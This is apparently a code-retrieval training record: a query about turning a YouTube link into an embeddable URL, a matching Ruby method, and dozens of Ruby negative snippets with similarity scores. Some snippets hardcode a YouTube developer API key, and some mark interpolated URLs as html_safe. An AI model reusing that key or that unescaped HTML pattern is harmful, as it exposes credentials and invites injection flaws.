[ "0.7448523", "0.7426268", "0.7426268", "0.7426268", "0.7278143", "0.7236979", "0.7228733", "0.7179906", "0.71000636", "0.7093079", "0.70542383", "0.7043741", "0.70167637", "0.70092", "0.6993139", "0.69781405", "0.6973107", "0.69605607", "0.6953211", "0.69453305", "0.6931483", "0.6895679", "0.6893035", "0.68896824", "0.6887485", "0.6881826", "0.6880643", "0.68787235", "0.68697494", "0.68686277", "0.6866543", "0.6864929", "0.6846133", "0.6834502", "0.68321353", "0.6828843", "0.6826316", "0.68257535", "0.6824139", "0.68174374", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.6817309", "0.68171597", "0.68159384", "0.68115795", "0.6802803", "0.6801397", "0.6797337", "0.6797337", "0.6797337", "0.6797337", "0.6797337", "0.6797337", "0.6797337", "0.6797337", "0.6791404", "0.6791404", "0.6791404", "0.6791404", "0.6791404", "0.6791404", "0.6791404", "0.6789896", "0.6789844", "0.6789844", "0.6789424", "0.67884934", "0.67789656", "0.6773654", "0.6770142", "0.67537683", "0.6750142", "0.67498964", "0.67462623", "0.67437136", "0.6742705", "0.6733954", "0.6733348", "0.6729733", "0.67187047", "0.67187047", "0.6704728", "0.6704728", "0.6697654", "0.6697337", "0.66959006", "0.6695431", "0.6691668", "0.6690676", "0.6688707", "0.6684441", "0.6684441" ]
0.7331129
4
converts idea.youtube_link into the form needed to make the video embeddable
def embed_link return nil if self.youtube_link.nil? id_regex = /(?:http:\/\/)?(?:www\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=)?(.+)/ youtube_id = self.youtube_link.match(id_regex) return nil if youtube_id.nil? return YOUTUBE_EMBED_PREFIX + youtube_id[1] + "?rel=0" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convert_to_youtube_embed_link\n self.video_url.gsub!(/(youtube.com\\/)(.)*v=([\\w\\-_]+)(.)*$/, '\\1embed/\\3')\n end", "def youtube_embed_url\n VideoInfo.new(self.video_url).embed_url if self.video_url?\n end", "def youtube_movie_embed\n str1 = \"http://www.youtube.com/v/\" \n str2 = movie_home_url.split('v=',2).last unless movie_home_url.nil?\n str3 = \"&hl=en_US&fs=1&\"\n return [str1,str2,str3].join \n end", "def markdown_extention_youtube_links(html)\n html = html.gsub /<a\\shref=\"http:\\/\\/www\\.youtube\\.com\\/watch\\?v=(.*).*\".*>.*<\\/a>/o, \n \"<p><iframe class=\\\"youtube-player\\\" src=\\\"http://www.youtube.com/embed/\\\\1\\\"></iframe></p>\"\n return html\n end", "def youtube_video_id\n video_id = link.match(/\\?v=/) ? link.split('?v=')[1] : link.split('/').last\n video_id = video_id.split('&')[0] if video_id =~ /&/\n self.vid = video_id\n end", "def youtube_embed(youtube_url)\n\t # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n\t youtube_url.to_s[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n\t youtube_id = $5\n\t youtube_id\n\tend", "def youtube_url\n \"https://www.youtube.com/watch?v=#{@data['youtubeID']}\" if @data['youtubeID']\n end", "def youtube_code\n code = self.link.match(/v=(.*)/)\n code.captures.first\n end", "def youtube_url; \"https://youtube.com/user/#{youtube}\" end", "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n end", "def embed(youtube_url)\n youtube_id = youtube_url.split('=').last\n content_tag(:iframe, nil, src: \"//www.youtube.com/embed/#{youtube_id}\")\n end", "def youtube_embed(youtube_url)\r\n\tif youtube_url[/youtu\\.be\\/([^\\?*)/]\r\n\t\tyoutube_id = $1\r\n\telse \r\n\t# Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\r\n\t\tyoutube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\r\n\t\tyoutube_id = $5 \r\n\tend\r\n\t#Look into a different method for this \r\n\t%Q{<iframe title=\"YouTube video player\" width=\"600px\" height=450px\" src=\"http://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\r\n end", "def youtubify(url)\n if youtube?(url)\n \"<iframe width='400' height='300' \" +\n \"src='#{url.sub(/watch\\?v=/, \"embed/\")}' \" +\n \"frameborder='0' allowfullscreen>\" +\n \"</iframe>\"\n else\n \"<a href='#{url}'>Resources ...</a>\"\n end\n end", "def embed(youtube_url)\n youtube_id = youtube_url.split(\"=\").last\n content_tag(:iframe, nil, src: \"//www.youtube.com/embed/#{youtube_id}\")\n end", "def youtube_url\n return \"https://www.youtube.com/results?search_query=#{CGI.escape(self.name)}\"\n end", "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n %Q{<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"http://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\n end", "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n %Q{<iframe title=\"YouTube video player\" width=\"640\" height=\"390\" src=\"http://www.youtube.com/embed/#{ youtube_id }\" frameborder=\"0\" allowfullscreen></iframe>}\n end", "def grab_url_embeddable(url)\n video_info = get_video_info(url)\n video_params = extract_video_parameters(video_info)\n\n unless video_params[:embeddable]\n Youtube.notify(\"VIDEO IS NOT EMBEDDABLE\")\n return false\n end\n\n urls_formats = extract_urls_formats(video_info)\n selected_format = choose_format(urls_formats)\n title = video_params[:title]\n file_name = PluginBase.make_filename_safe(title) + \".\" + VIDEO_FORMATS[selected_format][:extension]\n\n {:url => urls_formats[selected_format], :name => file_name}\n end", "def youtube_embed(youtube_url)\n if youtube_url[/youtu\\.be\\/([^\\?]*)/]\n youtube_id = $1\n else\n # Regex from # http://stackoverflow.com/questions/3452546/javascript-regex-how-to-get-youtube-video-id-from-url/4811367#4811367\n youtube_url[/^.*((v\\/)|(embed\\/)|(watch\\?))\\??v?=?([^\\&\\?]*).*/]\n youtube_id = $5\n end\n\n %Q{<iframe id=\"player\" type=\"text/html\" width=\"640\" height=\"390\"\n src=\"//www.youtube.com/embed/#{youtube_id}?enablejsapi=1&origin=*\" frameborder=\"0\"></iframe>}\n end", "def youtube_embed video, *style\n result = content_tag :iframe, 'youtube', src: video.yt_embed_link\n if style\n result = content_tag :iframe, 'youtube', src: video.yt_embed_link, style: style\n end\n return result\n end", "def youtube_embed(youtube_url)\n VideoPlayer::player(youtube_url,\"640\", \"390\", true)\n end", "def parse_youtube(url)\n source = `#{curl_path} \"http://kej.tw/flvretriever/\" -d \"videoUrl=#{url}\" -A \"foo\"`\n raise \"Cannot parse youtube URL\" unless(source =~ /<textarea id=\"outputfield\">([^<]+)<\\/textarea>/)\n $1\n end", "def embedded_video_url\n self.video_url.sub 'watch?v=', 'embed/'\n end", "def video_link\n if video_type? && !body.nil?\n vimeo_video(body) || youtube_video(body)\n end\n end", "def youtube_embed_code(size)\n width, height = video_embed_size(size)\n \"<iframe id='embedded_video' width='#{width}' height='#{height}' src='http://www.youtube.com/embed/#{self.params['v'][0]}?autohide=1&hd=1&border=1&showinfo=0' frameborder='0' allowfullscreen></iframe>\".html_safe\n end", "def embed\n if youtube_url then youtube_embed\n # Uploads don't get put in the embed field on Kitsu\n elsif upload_url then nil\n elsif image then image_embed\n elsif link then link\n end\n end", "def youtube( video_id, size = [425,350] )\n\tif @conf.mobile_agent? or feed? then\n\t\t%Q|<div class=\"youtube\"><a href=\"http://www.youtube.com/watch?v=#{video_id}\">YouTube (#{video_id})</a></div>|\n\telsif defined?( :smartphone? ) and @conf.smartphone?\n\t\tsize = [240, 194]\n\t\t<<-TAG\n\t\t<iframe class=\"youtube-player\" type=\"text/html\" width=\"#{size[0]}\" height=\"#{size[1]}\" src=\"http://www.youtube.com/embed/#{video_id}\" frameborder=\"0\">\n\t\t</iframe>\n\t\t<div class=\"youtube\"><a href=\"http://www.youtube.com/watch?v=#{video_id}\">YouTube (#{video_id})</a></div>\n\t\tTAG\n\telse\n\t\t<<-TAG\n\t\t<iframe class=\"youtube-player\" type=\"text/html\" width=\"#{size[0]}\" height=\"#{size[1]}\" src=\"http://www.youtube.com/embed/#{video_id}\" frameborder=\"0\">\n\t\t</iframe>\n\t\tTAG\n\tend\nend", "def get_embed_link(work)\n [get_embed_link_title(work), tag(\"br\"), get_embed_link_meta(work)].compact.join\n end", "def video_url\n \"http://video.ted.com/#{videoID}\"\n end", "def video_embed_tag(youtube_url, width = '500', height = '315')\n embed_url = Youtube.embed_url(youtube_url)\n return '' if embed_url.blank?\n tag(:iframe, {:width => width, :height => height, :src => embed_url, :frameborder => 0, :allowfullscreen => true})\n end", "def embedyoutube(videonumber)\n %{\n <body style=\"margin:0;\">\n <object height=\"100%\" width=\"100%\"><param name=\"movie\" value=\"http://www.youtube.com/v/#{videonumber}&autoplay=1\" /><embed height=\"100%\" src=\"http://www.youtube.com/v/#{videonumber}&autoplay=1\" type=\"application/x-shockwave-flash\" width=\"100%\"></embed></object>\n </body>\n }\n end", "def youtube_embed\n EmbedService.new(youtube_url).to_json\n end", "def embed_link\n self.embed = detect_host\n end", "def youtube_tag(url, opts = {})\n # extract youtube thing\n m = url.match(/(?<=v=)[A-z0-9\\-]+/)\n youtube_id = m.present? ? m[0] : url\n embed_url = \"//www.youtube.com/embed/#{youtube_id}\"\n\n content_tag(:iframe, \"\", :src => embed_url,\n :frameborder => opts[:frameborder],\n :allowfullscreen => true,\n :width => opts[:width] || \"600\",\n :height => opts[:height] || \"480\"\n )\nend", "def youtube_id\n rexp = /v=(.*)/ or /embed\\/(.*)/\n rexp.match(url).captures.first\n end", "def extractYouTubeID(url)\n YoutubeVideoId.extract(url)\n end", "def parse_video_id_for_youtube\n parse_video_id_for_regexp_and_index(YOUTUBE_REGEXP, 6)\n end", "def embeddable_url\n\t\turl.sub('watch?v=', 'embed/')\n\tend", "def show_youtube\n @youtube = YoutubeMovie.find(params[:id])\n s = @youtube.url.index(\"?v=\")\n e = @youtube.url.index(\"&\")\n @id = @youtube.url[s+3..e-1] rescue 1\n end", "def get_youtube_iframe boulder, width, height\n youtube_id = find_youtube_id boulder.link\n seconds = ((boulder.position_min.to_i*60)+ boulder.position_sec.to_i).to_s\n timestamp = \"?start=#{seconds}\"\n #timestamp = \"t=#{boulder.position_min}m#{boulder.position_sec}s\"\n result = %(<iframe title=\"YouTube video player\" width=\"#{width}\"\n height=\"#{height}\" src=\"//www.youtube.com/embed/#{youtube_id}#{timestamp}\"\n frameborder=\"0\" allowfullscreen></iframe>)\n result.html_safe\n end", "def source\n\t\tif youtube?\n\t\t\treturn \"http://www.youtube.com/v/\" + youtube_id + \"?fs=1\"\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend", "def youtube_video_id\t\t\n\t\tif self.video_url.nil?\n\t\t\tnil\n\t\telse\n\t\t\tself.video_url.rpartition('/').last\n\t\tend\n\n\tend", "def update\n\n\n @video = Video.find(params[:id])\n\n\n @url = params[:video][:url]\n\n require 'uri'\n\n\n if(@url.downcase.include? 'youtube.com')\n ##create ways to catch if user is using \n query_string = URI.parse(params[:video][:url]).query\n parameters = Hash[URI.decode_www_form(query_string)]\n puts parameters['v'] # => aNdMiIAlK0g\n video_id = parameters['v']\n elsif (@url.downcase.include? 'y2u.be')\n puts video_id = @url.match(/\\.be\\/(.+)$/)[1]\n @url = 'http://www.youtube.com/watch?v='+video_id\n puts params[:video][:url] = @url \n elsif (@url.downcase.include? 'youtu.be')\n puts video_id = @url.match(/\\.be\\/(.+)$/)[1]\n @url = 'http://www.youtube.com/watch?v='+video_id\n puts params[:video][:url] = @url\n end\n \n \n\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video.youtube_id = video_id # => aNdMiIAlK0g\n\n this_video = @yt_client.video_by(video_id)\n\n\n @video.duration = this_video.duration \n\n\n\n\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_youtube_video(id)\n uri = URI(\"https://noembed.com/embed?url=https://www.youtube.com/watch?v=#{id}\")\n begin\n resp_body = Net::HTTP.get(uri)\n title = JSON.parse(resp_body)['title']\n rescue\n title = \"Title wasn't found\"\n end\n # render html for youtube video embed\n \"<div class='video-title'>#{title}</div><iframe width='420' frameborder='0' height='315'\"+\n \" src='https://www.youtube-nocookie.com/embed/#{id.to_s}' allowfullscreen></iframe>\"\n end", "def extract_id_from_youtube_url\n if self.youtube_url.present?\n url = self.youtube_url\n self.external_id = Youtube.id_from_url(url) if url.present?\n self.errors.add(:youtube_url, 'is not a valid Youtube URL') unless self.external_id.present?\n else\n true\n end\n end", "def source_url\n \"https://www.facebook.com/facebook/videos/#{@element.embed_id}\"\n end", "def to_html\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true)\n html = markdown.render(content)\n html = markdown_extention_youtube_links(html)\n return html.html_safe\n end", "def video_source(str)\n if str.include? 'www.youtube.com'\n return youtube_embed(str)\n elsif str.include? 'youtu.be'\n return youtube_embed(str)\n else\n return nil\n end\n end", "def create\n @video = current_user.videos.build(params[:video])\n\n @url = params[:video][:url]\n\n\n require 'uri'\n\n\n if(@url.downcase.include? 'youtube.com')\n ##create ways to catch if user is using \n query_string = URI.parse(params[:video][:url]).query\n parameters = Hash[URI.decode_www_form(query_string)]\n puts parameters['v'] # => aNdMiIAlK0g\n video_id = parameters['v']\n elsif (@url.downcase.include? 'y2u.be')\n puts video_id = @url.match(/\\.be\\/(.+)$/)[1]\n @url = 'http://www.youtube.com/watch?v='+video_id\n @video.url = @url \n elsif (@url.downcase.include? 'youtu.be')\n puts video_id = @url.match(/\\.be\\/(.+)$/)[1]\n @url = 'http://www.youtube.com/watch?v='+video_id\n @video.url = @url\n end\n \n \n\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video.youtube_id = video_id # => aNdMiIAlK0g\n\n this_video = @yt_client.video_by(video_id)\n\n\n @video.duration = this_video.duration \n\n\n\n respond_to do |format|\n if @video.save ##and video is over 60 seconds in duration \n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def render_resolve_url_personal(work, show_youtube_iframe=false)\n url = work.attach_url\n obj = get_resolved_url_obj(url)\n case obj[:type]\n when \"image\"\n tag :img, src: \"#{url}\", onload: \"onImageLoad(this)\"\n when \"audio\" #compare to 2\n tag :audio, controls: \"controls\", src: \"#{url}\", style: \"width:100%;\"\n when \"video\"\n tag :video, controls: \"controls\", src: \"#{url}\", width: \"100%\", height: \"100%\"\n when \"youtube\"\n matches = obj[:match_object]\n if show_youtube_iframe\n queryobj = {}\n queryobj[\"rel\"] = 0\n hashes = \"\"\n overrides = Rack::Utils.parse_query(URI.parse(matches[0]).query)\n overrides.delete(\"v\")\n queryobj = queryobj.merge(overrides)\n if matches[4] != nil\n splits = matches[4].split('#')\n if splits.length > 1\n hashes += \"#\" + splits[1]\n end\n end\n queryobj[\"enablejsapi\"] = 1;\n if queryobj[\"t\"].present?\n timeRe = /((?<min>\\d+)[m])?((?<sec>\\d+)[s])?/\n time = queryobj[\"t\"].scan(timeRe)[0]\n queryobj[\"start\"] = (time[0] ? time[0].to_i : 0) * 60 + (time[1] ? time[1].to_i : 0)\n end\n querystr = Rack::Utils.build_query(queryobj)\n content_tag :iframe, '', src: \"https://www.youtube.com/embed/#{matches[2]}?#{querystr}#{hashes}\", width: '100%', frameborder: '0', height: '100%'\n else\n tag :img, src: \"https://i.ytimg.com/vi/#{matches[2]}/hqdefault.jpg\", onload: \"onImageLoad(this)\"\n end\n else\n # content_tag :div, :data => { :remote_url => url }, class: \"remote-preview\" do\n # content_tag(:div,'', style: 'background-image:url(' + work.remote_image_url + ')', class: 'preview-image') +\n # content_tag(:p, work.remote_description, class: 'preview-description')\n # end\n tag :img, src: \"#{work.remote_image_url}\", onload: \"onImageLoad(this)\"\n end\n end", "def load_youtube\n Video\n YouTube\n end", "def load_youtube\n Video\n YouTube\n end", "def embed_video\r\n\tvid_host = self.video_url.sub(/^https?\\:\\/\\//, '').sub(/^www./,'').split('/')[0]\r\n\tif vid_host == 'youtube.com' or vid_host == 'youtu.be'\r\n\t\tyoutube_embed(self.video_url)\r\n\telsif vid_host == 'player.vimeo.com' or vid_host == 'vimeo.com'\r\n\t\tvimeo_embed(self.video_url)\r\n\tend\r\n end", "def oembed_url\n \"https://graph.facebook.com/v9.0/oembed_video?url=#{source_url}\" \\\n \"&access_token=#{access_token}\"\n end", "def sanitize_video_url\n if self.video_url\n self.video_url = self.video_url.split('/').last \n if self.video_url.include? \"watch?v=\"\n self.video_url = self.video_url.split('=').last\n end\n end\n end", "def youtube_id(youtube_url)\n regex = %r{(?:youtube(?:-nocookie)?\\.com/(?:[^/\\n\\s]+/\\S+/|(?:v|e(?:mbed)?)/|\\S*?[?&]v=)|youtu\\.be/)([a-zA-Z0-9_-]{11})}\n match = regex.match(youtube_url)\n match[1] if match\n end", "def youtube\n download = HTTParty.get(\"https://gdata.youtube.com/feeds/api/videos?q=#{URI.escape(@track)}\")\n if !download.body.empty?\n doc = Nokogiri::HTML(download.body)\n vids = doc.xpath('//link[contains(@href, \"https://www.youtube.com/watch\")]').to_a\n video = vids.first\n # Extracting the Video-ID\n if video\n query_string = URI.parse(video['href']).query\n Hash[URI.decode_www_form(query_string)]\n else\n \"Can't find a decent YouTube mirror.\"\n end\n else\n flash[:notice] = 'Error with Youtube! Try again in 30 seconds!'\n end\n end", "def youtube_video(link)\n render :partial => 'shared/video', :locals => { :link => link }\n end", "def youtube\n @data['social']['youtube']\n end", "def get_service_url unique_id\n \"http://gdata.youtube.com/feeds/api/videos/#{unique_id}?v=2&prettyprint=true&alt=json\"\n end", "def vimeo_video_id\n self.vid = link.split('/').last\n end", "def video_params\n\t params.require(:video).permit(:title, :link)\n\t end", "def youtube_video(url)\n render :partial => 'shared/video', :locals => { :url => url }\n end", "def youtube_id\n\t\tif youtube?\n\t\t\treturn path[\"stoffi:track:youtube:\".length .. -1]\n\t\telse\n\t\t\treturn \"\"\n\t\tend\n\tend", "def video_params\n params.require(:video).permit(:title, :youtube_url, :category_id, :youtube_embed_id)\n end", "def parse_youtube_id(url)\n url =~ /[v]=([^&]*)/\n id = $1\n \n if id.nil?\n # when there is no match for v=blah, then maybe they just \n # provided us with the ID the way the system used to work... \n # just \"E4Fbk52Mk1w\"\n return url \n else\n # else we got a match for an id and we can return that ID...\n return id\n end\n end", "def youtube_decscription\n regex_string = WebStat::Configure.get[\"id_extraction_regexs\"][\"youtube\"]\n if @url.match(regex_string)\n id = @url.gsub(%r{#{regex_string}}, '\\1')\n youtube = Google::Apis::YoutubeV3::YouTubeService.new\n youtube.key = WebStat::Configure.get[\"api_keys\"][\"youtube\"]\n response = youtube.list_videos(:snippet, id: id)\n response.items.first.snippet.description\n end\n end", "def detect_host\n if self.link =~ /(youtube)/\n \"<iframe width='560' height='315' src='https://www.youtube.com/embed/#{youtube_code}' frameborder='0' allow='accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture' allowfullscreen></iframe>\"\n else\n \"<iframe src='https://player.vimeo.com/video/#{vimeo_code}?color=ffffff' width='640' height='360' frameborder='0' allow='autoplay; fullscreen' allowfullscreen></iframe>\"\n end\n end", "def video_params\n params.require(:video).permit(:link, :user_id)\n end", "def show\n\n\n @video = Video.find(params[:id])\n \n @vid = params[:id]\n #@video = Video.where(:id=>@vid, :is_active=>'1').take\n #@video = Video.where(\"id = ? AND is_active = ?\", @vid, 1)\n \n @video_id = (/([\\w-]{11})/.match(@video.video_link)).to_s\n @embed_code = %Q{<iframe title=\"YouTube video player\" style=\" margin-top: 24px;\" width=\"640\" height=\"390\" src=\"http://www.youtube.com/embed/#{ @video_id}\" frameborder=\"0\" allowfullscreen></iframe>}\n \n \n @commentable = @video\n @comments = @commentable.comments\n @comment = Comment.new\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def video\n YouTubeApi.find_video(youtube_id)\n end", "def image_url_embedly(link_url)\n response = http_get \"http://api.embed.ly/1/oembed?url=#{link_url}\"\n response['url'] if response\n end", "def youtube_video(resource_id, caption=\"\")\n if caption == \"\"\n return <<-EOL\n <p>\n <div class=\"youtube-container column is-mobile center\">\n <iframe width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/#{resource_id}\" \\ \n frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen>\n </iframe>\n </div>\n </p>\n EOL\n else\n return <<-EOL\n <p>\n <div class=\"youtube-container column is-mobile center\">\n <iframe width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/#{resource_id}\" \\ \n frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen>\n </iframe>\n </div>\n <em>#{caption}</em>\n </p>\n EOL\n end\n \n end", "def embed\n \"#{video.__embed__}#{tracker(true)}\"\n end", "def get_youtube_video_id(url)\n # find id\n result = url.match /https*\\:\\/\\/.*youtube\\.com\\/watch\\?v=(.*)/\n # return id or nil\n result ? result[1] : nil\n end", "def set_VideoEmbeddable(value)\n set_input(\"VideoEmbeddable\", value)\n end", "def show\n @user_video = UserVideo.find(params[:id]) \n @vid_id = @user_video.video_embed.split('?v=')[1]\n @u = \"http://www.youtube.com/embed/\" + @vid_id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_video }\n end\n end", "def create\n\n @video = Video.new(params[:video])\n @video.resource_id = @resource.id\n \n @video.video = @video.video.gsub(\"https://\", \"\")\n @video.video = @video.video.gsub(\"http://\", \"\")\n @video.video = @video.video.gsub(\"www.youtube.com/watch?v=\", \"\")\n\n @resource.attachment = @video\n @resource.save\n \n @video.save\n\n respond_to do |format|\n if @video.update_attributes(params[:text]) && @resource.update_attributes(params[:resource])\n format.js\n end\n end \n end", "def youtube_embed(video_id)\n return content_tag(:div, class: %w(row)) do\n content_tag(:div, class: %w(col-md-6 col-sm-8 offset-md-3 offset-sm-2)) do\n content_tag(:div, class: %w(embed-responsive embed-responsive-4by3)) do\n content_tag(:iframe, nil, width: \"420\", height: \"315\", src: \"https://www.youtube.com/embed/#{video_id}\", frameborder: 0, allowfullscreen: true)\n end\n end\n end\n end", "def youtube_link_decider(results)\n if results.confidence < 0.5\n link = \"nope1\"\n else\n case results.intent\n when \"greetings\"\n link = '0Bmhjf0rKe8'\n else\n link = \"nope2\"\n end\n end\n\n return link\n end", "def parse_video\n # standard\n unless /\\A\\s*(?<width>\\d+)x(?<height>\\d+)\\s+(?<url>.+)\\z/ =~ content\n env.warn 'can not parse \\video content, should be \"#{WIDTH}x#{HEIGHT} #{URL}\"'\n return\n end\n\n case url\n when /youtu\\.?be/\n # NOTE merging them into one regexp fails (because longest match?)\n unless id = url[/(?<=watch\\?v=)\\w+/] || url[/(?<=embed\\/)\\w+/] || url[/(?<=youtu\\.be\\/)\\w+/]\n env.warn 'can not parse youtube id'\n return\n end\n %Q|<iframe width=\"#{width}\" height=\"#{height}\" src=\"https://www.youtube-nocookie.com/embed/#{id}?rel=0\" frameborder=\"0\" allowfullscreen></iframe>|\n when /vimeo/\n unless id = url[/(?<=vimeo\\.com\\/)\\w+/]\n env.warn 'can not parse vimeo id, should use link like this \"http://vimeo.com/#{DIGITS}\"'\n return\n end\n %Q|<iframe width=\"#{width}\" height=\"#{height}\" src=\"https://player.vimeo.com/video/#{id}\" frameborder=\"0\" allowFullScreen></iframe>|\n when /sm/\n unless id = url[/\\bsm\\d+/]\n env.warn 'can not find \"sm#{DIGITS}\" from link'\n return\n end\n %Q|<script src=\"https://ext.nicovideo.jp/thumb_watch/#{id}?w=#{width}&h=#{height}\"></script>\"|\n else\n env.warn 'failed to parse video link, currently only youtube, vimeo and niconico are supported'\n return\n end\n end", "def auto_oembed(text)\n return ''.html_safe if text.blank?\n\n content = {}\n urls = URI.extract(text, %w(http https))\n\n return text.html_safe unless urls.count > 0\n\n urls.each do |url|\n html = fetch_and_render_oembed(url)\n content[url] = html unless html.blank?\n end\n\n content.each_pair do |key, value|\n text.sub!(key, value)\n end\n\n return text.html_safe\n end", "def video_by(video)\n vid = nil\n vid_regex = /(?:youtube.com|youtu.be).*(?:\\/|v=)([\\w-]+)/\n if video =~ vid_regex\n vid = $1\n else\n vid = video\n end\n video_id =\"http://gdata.youtube.com/feeds/api/videos/#{vid}?v=2#{@dev_key ? '&key='+@dev_key : ''}\"\n parser = YouTubeIt::Parser::VideoFeedParser.new(video_id)\n parser.parse\n end", "def youtube_video_params\n\t\t\tparams[:youtube_video][:youtube_video_id] = nil if params[:youtube_video] && params[:youtube_video][:youtube_video_id].try(:strip).blank?\n\t\t\tparams.require(:youtube_video).permit!\n\t\tend", "def video_params\n params.require(:video).permit(:youtube_id, :thumbnail, :artist, :title_korean, :title_english, :youtube_user_id, :description, :hotness, :cheesiness, :english_percentage, :english_subtitle, :official, :youtube_views, :definition, :duration, :dimension, :caption, :category, :licensed_content, :approval_rating, :upvotes_per_views, :likes, :upload_date, :upvotes, :downvotes)\n end", "def set_youtube_video\n\t\t\t@youtube_video = YoutubeVideo.find(params[:id])\n\t\tend", "def fetch_video\n \t @video=UnvlogIt.new(url)\n \t self.embed_url=@video.embed_html(300, 169)\n \t self.thumb_url=@video.thumbnail\n end", "def get_links(post)\n post_links = post.content.content.scan(/youtube.*?\\\"/)\nend", "def unescape_link\n self.link = CGI.unescape(link) if self.link.present?\n end", "def postEntityVideoYoutube( entity_id, embed_code)\n params = Hash.new\n params['entity_id'] = entity_id\n params['embed_code'] = embed_code\n return doCurl(\"post\",\"/entity/video/youtube\",params)\n end", "def get_bookmark_embed_link(bookmark)\n if bookmark.bookmarkable.is_a?(Work)\n work_embed = get_embed_link(bookmark.bookmarkable)\n bookmark_meta = get_embed_link_bookmark_meta(bookmark)\n [work_embed, bookmark_meta].compact.join\n end\n end", "def get_id\n url = \"https://www.youtube.com/results?search_query=#{@artist_name.gsub(\" \",\"+\")}+#{@song_name.gsub(\" \",\"+\")}\"\n#pp url\n web_page = HTTParty.get(url)\n\n @parsed = Nokogiri::HTML(web_page)\n ref = @parsed.css(\"a\").collect{|link| link[\"href\"]}.select{|href| href && href.include?(\"/watch?v=\")}.uniq[0]\n return ref.gsub(\"/watch?v=\", \"\") unless !ref\n end", "def create\n @song = @mix.songs.build(song_params)\n @song.link = @song.parse_video_url(@song.link)\n\n if @song.save\n redirect_to(mix_path(@mix), notice: 'Song was successfully created.')\n else\n render action: 'new'\n end\n end", "def video_url(source, options = T.unsafe(nil)); end", "def url(key)\n %(http://#{Panda::Config[:videos_domain]}/#{key})\n end", "def build_feed_youtube\n FriendFeed.create_friend_feed playlist.user, title, network, 'video', item, image_url\n end", "def parse_url(input)\n if input.success?\n video_id = youtube_id(input[:youtube_url])\n Success(video_id: video_id)\n else\n Failure(\"URL #{input.errors.messages.first}\")\n end\n end", "def imdb_link(lnk)\n if lnk =~ /^https?:/\n lnk\n else\n IMDB_BASE + lnk\n end\nend", "def image_url_yfrog(link_url)\n response = http_get(\"http://www.yfrog.com/api/oembed?url=#{link_url}\")\n response['url'] if response\n end", "def embedding_tweet(content)\n embedded_content = content\n content.scan(/(https?:\\/\\/twitter\\.com\\/[a-zA-Z0-9_]+\\/status\\/([0-9]+)\\/?)/).each do |url, id|\n tweet_json = open(\"https://api.twitter.com/1/statuses/oembed.json?id=#{id}\").read\n tweet_html = JSON.parse(tweet_json, { :symbolize_names => true })[:html]\n embedded_content = embedded_content.gsub(/#{url}/, tweet_html)\n end\n embedded_content\nend" ]
